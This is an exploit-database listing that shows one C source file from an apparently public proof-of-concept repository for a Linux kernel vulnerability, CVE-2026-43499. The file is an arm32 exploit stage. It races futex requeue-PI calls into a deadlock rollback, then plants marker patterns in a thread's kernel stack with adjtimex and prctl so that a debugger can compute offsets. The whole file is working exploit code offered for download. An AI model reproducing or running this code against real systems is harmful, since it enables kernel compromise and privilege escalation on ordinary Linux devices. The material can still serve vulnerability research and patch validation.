Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files148
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/glA/go30m.c

C · 4,376 bytes
/* go30m: measure prctl ncomm offset relative to adjtimex D.
 * After EDEADLK rollback + adjtimex stamp (known pattern at D),
 * call prctl SET_NAME with distinctive pattern 0xAA..0xBA.
 * gdb reads W's kernel stack to find both patterns and compute ncomm-D.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/futex.h>

#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif

struct old_timex32 {
  int32_t modes;
  int32_t offset_lo,off_hi, freq_lo,frq_hi;
  int32_t maxerror, esterror, status, constant, precision, tolerance;
  int32_t sec, usec, tick, pps_lo,pps_hi, jit_lo,jit_hi;
  int32_t shift, stabil, jitcnt, calcnt, errcnt, stbcnt, tai;
  int32_t pad[10];
};

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started, consume,
    deadlock_seen;

static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
__attribute__((noinline)) void gdb_marker(void){ __asm__ __volatile__("bx lr"); }

static void *waiter_thread(void *arg){
    (void)arg;
    setresuid(1000,1000,1000); setresgid(1000,1000,1000);
    struct timespec now; struct { int32_t sec,nsec; } ts;
    a_tid=(int)syscall(SYS_gettid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    long r=syscall(SYS_futex,&f_wait,FUTEX_WAIT_REQUEUE_PI,0,&ts,&f_pi_target,0);
    (void)r;
    gdb_marker();
    while(!deadlock_seen){ }
    consume=1;
    /* adjtimex stamp: known pattern at D */
    {
        struct old_timex32 tx;
        memset(&tx,0,sizeof tx);
        tx.modes=1;
        tx.offset_lo=0x11111111;  /* D+0 */
        tx.freq_lo=0x22222222;    /* D+8 */
        tx.maxerror=0x33333333;   /* D+0x10 */
        tx.esterror=0x44444444;   /* D+0x18 */
        tx.status=0x55555555;     /* D+0x20 */
        tx.constant=0x66666666;   /* D+0x28 */
        (void)syscall(124,&tx);
    }
    /* prctl SET_NAME: distinctive pattern 0xAA..0xBA (15 bytes) */
    {
        char ncomm[16];
        memset(ncomm,0,sizeof ncomm);
        for(int i=0;i<15;i++) ncomm[i] = 0xAA + i;  /* AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 */
        long pr = syscall(SYS_prctl, 15/*PR_SET_NAME*/, ncomm, 0,0,0);
        (void)pr;
    }
    /* park */
    static uint32_t park;
    struct timespec longts={60,0};
    syscall(SYS_futex,&park,128,0,&longts,0,0);
    for(;;){ }
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg;
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    (void)pi_lock(&f_pi_chain);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    (void)arg;
    while(!a_tid) usleep(1000);
    while(!consume) usleep(2000);
    usleep(2000000);
    struct { uint32_t size,policy; uint64_t flags; int32_t nice;
             uint32_t prio; uint64_t rt,dl,period; } attr;
    memset(&attr,0,sizeof attr);
    attr.size=48; attr.policy=0;
    for(int i=0;i<8;i++){
        attr.nice=1+(i%2);
        long r=syscall(380, a_tid, &attr, 0);
        (void)r;
        usleep(500000);
    }
    for(;;) pause();
    return NULL;
}
int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    if(sizeof(long)!=4){printf("arm32 only\n");return 1;}
    f_wait=f_pi_target=f_pi_chain=0;
    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,owner_thread,NULL); usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!b_started) usleep(1000);
    for(int i=0;i<400;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        if(r<0&&errno==35) break;
        if(r>0) break;
        usleep(1000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    for(;;) pause();
    return 0;
}